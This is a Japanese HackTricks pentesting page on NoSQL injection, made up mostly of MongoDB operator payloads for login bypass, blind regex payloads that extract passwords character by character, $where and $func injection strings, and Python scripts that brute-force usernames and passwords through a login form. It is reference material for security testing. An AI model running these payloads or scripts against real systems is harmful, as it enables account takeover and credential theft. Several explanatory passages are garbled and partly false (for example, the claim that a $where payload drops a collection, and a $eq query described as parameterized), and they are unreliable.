hacktricks/pentesting-web/nosql-injection.md

428 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NoSQLインジェクション
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
NoSQLデータベースは、従来のSQLデータベースよりも緩い整合性制約を提供します。関係の制約や整合性チェックが少なくても、NoSQLデータベースはパフォーマンスとスケーリングの利点を提供することがあります。しかし、これらのデータベースは、従来のSQL構文を使用していなくても、インジェクション攻撃の脆弱性がある可能性があります。
## 攻撃手法
PHPでは、送信されるパラメータを_parameter=foo_から_parameter\[arrName]=foo_に変更することで、配列を送信することができます。
攻撃手法は、**オペレータ**を追加することに基づいています:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 基本認証のバイパス
**等しくない ($ne) やより大きい ($gt) を使用する**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
### **SQLインジェクション**
SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。
MongoDBは、SQLインジェクションのリスクを軽減するために、データベースクエリに対してパラメータ化されたクエリを使用することを推奨しています。パラメータ化されたクエリでは、ユーザーの入力はプレースホルダーとして扱われ、データベースクエリに直接組み込まれることはありません。
以下は、MongoDBでのSQLインジェクションの例です。
```javascript
var username = req.body.username;
var password = req.body.password;
db.collection('users').findOne({ username: username, password: password }, function(err, user) {
if (err) throw err;
if (user) {
res.send('Login successful');
} else {
res.send('Invalid username or password');
}
});
```
この例では、ユーザーが提供した`username`と`password`が直接データベースクエリに組み込まれています。攻撃者は、`username`や`password`にSQLコマンドを挿入することで、意図しないデータベース操作を行う可能性があります。
この問題を解決するために、パラメータ化されたクエリを使用することが推奨されます。以下は、パラメータ化されたクエリを使用した修正例です。
```javascript
var username = req.body.username;
var password = req.body.password;
db.collection('users').findOne({ username: { $eq: username }, password: { $eq: password } }, function(err, user) {
if (err) throw err;
if (user) {
res.send('Login successful');
} else {
res.send('Invalid username or password');
}
});
```
修正例では、`$eq`演算子を使用して`username`と`password`の値を比較しています。これにより、ユーザーの入力が直接データベースクエリに組み込まれることはありません。
パラメータ化されたクエリを使用することで、SQLインジェクションのリスクを軽減することができます。しかし、入力の検証やエスケープも併せて行うことが重要です。
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00
```
### **長さ**情報の抽出
To extract the length information from a NoSQL database, you can use the following techniques:
NoSQL databases often provide functions or operators to retrieve the length of a field or attribute. These functions can be used to determine the length of a string or an array.
For example, in MongoDB, you can use the `$strLenCP` operator to get the length of a string. The following query retrieves the length of the `username` field in the `users` collection:
```javascript
db.users.find({ username: { $exists: true } }, { username: { $strLenCP: "" } })
```
In CouchDB, you can use the `length()` function to get the length of an array. The following query retrieves the length of the `emails` array in the `users` database:
```javascript
function(doc) {
emit(doc._id, doc.emails.length);
}
```
By extracting the length information, you can gain insights into the structure and size of the data stored in the NoSQL database. This information can be useful for further analysis and exploitation.
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### **データ**情報の抽出
NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにクエリを構築することによって、データベースから情報を抽出することが可能となります。
攻撃者は、NoSQLクエリのパラメータに対して特殊な文字列を挿入することで、データベースのクエリを改変します。これにより、攻撃者はデータベースから機密情報を抽出することができます。
NoSQLインジェクションの攻撃手法は、SQLインジェクションとは異なります。SQLインジェクションでは、SQLクエリの構造を変更することで攻撃を行いますが、NoSQLインジェクションでは、NoSQLデータベースのクエリ言語の特性を利用して攻撃を行います。
NoSQLインジェクションの攻撃手法を防ぐためには、入力データの適切な検証とエスケープ処理が必要です。また、アクセス制御の実装や最小特権の原則の適用も重要です。
NoSQLインジェクションの攻撃手法を理解し、適切な対策を講じることで、データベースからの情報漏洩を防ぐことができます。
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
### **SQLインジェクション**
SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。
### **NoSQLインジェクション**
NoSQLデータベースMongoDBなどでは、SQLインジェクションと同様の脆弱性が存在します。NoSQLインジェクションは、クエリに直接ユーザーの入力を組み込むことで発生します。攻撃者は、データベースの操作を改ざんしたり、機密情報を漏洩させたりすることができます。
### **NoSQLインジェクションの例**
以下は、NoSQLインジェクションの例です。
```javascript
const username = req.body.username;
const password = req.body.password;
const query = {
username: username,
password: password
};
db.collection('users').findOne(query, function(err, user) {
if (err) throw err;
if (user) {
res.send('Login successful');
} else {
res.send('Invalid credentials');
}
});
```
この例では、ユーザーが提供した`username`と`password`を直接クエリに組み込んでいます。攻撃者は、`username`や`password`にNoSQLインジェクションペイロードを挿入することで、データベースの操作を改ざんすることができます。
### **NoSQLインジェクションの防止策**
NoSQLインジェクションを防ぐためには、入力の検証とエスケープが重要です。以下は、NoSQLインジェクションを防ぐための一般的な対策です。
- 入力の検証: 入力データを適切に検証し、予期しない文字やパターンを排除します。
- エスケープ: 入力データをエスケープすることで、特殊文字がデータベースクエリに影響を与えるのを防ぎます。
- パラメータ化されたクエリ: パラメータ化されたクエリを使用することで、入力データを直接クエリに組み込むことを避けます。
これらの対策を実装することで、NoSQLインジェクションのリスクを軽減することができます。
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP任意関数実行
デフォルトで使用される[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)ライブラリの**$func**演算子を使用すると、[このレポート](https://swarm.ptsecurity.com/rce-cockpit-cms/)のように任意の関数を実行することが可能です。
```python
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
### 異なるコレクションから情報を取得する
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することができます。次の例では、**`users`**という名前の**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
今すぐアクセスを取得してください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Blind NoSQL
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
## MongoDB ペイロード
### NoSQL Injection
NoSQLインジェクションは、MongoDBなどのNoSQLデータベースに対する一般的な攻撃手法です。この攻撃では、クエリパラメータに悪意のある入力を注入することで、データベースの機能を悪用します。
### ペイロードの概要
以下に、NoSQLインジェクションに使用される一般的なMongoDBペイロードの例を示します。
#### ユーザー認証バイパス
```javascript
username[$ne]=admin&password[$ne]=password
```
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に、ユーザー認証をバイパスします。
#### データベースの情報漏洩
```javascript
username[$regex]=.*&password[$regex]=.*
```
このペイロードは、正規表現を使用して、すべてのユーザー名とパスワードを漏洩させます。
#### コレクションのドロップ
```javascript
username[$ne]=admin&password[$ne]=password&$where=1==1
```
このペイロードは、`username`が`admin`でなく、`password`が`password`でない場合に、コレクションをドロップします。
### ペイロードの注意事項
NoSQLインジェクションに対するペイロードを使用する際には、以下の注意事項を念頭に置いてください。
- ペイロードを使用する前に、目的の攻撃をテストする必要があります。
- ペイロードを使用する際には、データベースのバックアップを作成しておくことをお勧めします。
- ペイロードを使用する際には、適切な権限を持つユーザーでログインしていることを確認してください。
これらのペイロードは、NoSQLインジェクションの一般的な例ですが、実際の攻撃には状況に応じたカスタマイズが必要です。
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## ツール
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### POSTログインからのユーザー名とパスワードの総当たり攻撃
これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```
## 参考文献
* [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}